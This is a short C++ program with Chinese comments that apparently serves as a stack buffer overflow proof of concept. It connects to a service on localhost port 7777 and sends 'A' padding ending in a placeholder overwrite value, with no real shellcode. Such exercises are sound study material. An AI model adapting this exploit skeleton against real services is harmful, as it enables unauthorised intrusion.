1 // EXP.cpp : 定義控制檯應用程式的入口點。
2 //
3
4 #include <winsock2.h>
5 #include "stdafx.h"
6 #include "windows.h"
7 #pragma comment(lib, "Ws2_32.lib ")
8 char shellcode[] =
9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF";
13 int main()
14 {
15 SOCKET MySocket;
16 WSADATA OUTDATA;
17 WSAStartup(MAKEWORD(2, 2), &OUTDATA);
18 MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19 sockaddr_in SocketInfo;
20 SocketInfo.sin_family = AF_INET;
21 SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
22 SocketInfo.sin_port = htons(7777);//7777埠透過對目標的bind的函式分析可以得出
23 if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
24 ==SOCKET_ERROR)
25 {
26 MessageBox(NULL, L"error", L"error", 0);
27 }
28 send(MySocket, shellcode, sizeof(shellcode), 0);
29 return 0;
30 }